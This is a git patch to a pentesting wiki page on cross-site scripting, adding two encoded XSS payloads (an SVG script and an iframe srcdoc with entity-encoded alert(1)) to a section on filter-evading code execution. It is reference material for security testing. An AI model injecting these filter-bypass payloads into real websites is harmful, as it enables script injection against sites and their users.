From c306c23a1dea0d00e5d77208713f8ee1cf85a412 Mon Sep 17 00:00:00 2001
From: CPol <carlospolop@gmail.com>
Date: Fri, 4 Jun 2021 17:27:53 +0000
Subject: [PATCH] GitBook: [master] one page modified

---
 pentesting-web/xss-cross-site-scripting/README.md | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pentesting-web/xss-cross-site-scripting/README.md b/pentesting-web/xss-cross-site-scripting/README.md
index f1be8246..4b4760f0 100644
--- a/pentesting-web/xss-cross-site-scripting/README.md
+++ b/pentesting-web/xss-cross-site-scripting/README.md
@@ -418,9 +418,12 @@ This can be **abused** using: `${alert(1)}`
 
 ### Encoded code execution
 
-```javascript
+```markup
 <script>\u0061lert(1)</script>
 <svg><script>alert&lpar;'1'&rpar;
+<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
+<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">
+
 ```
 
 ### JavaScript bypass blacklists techniques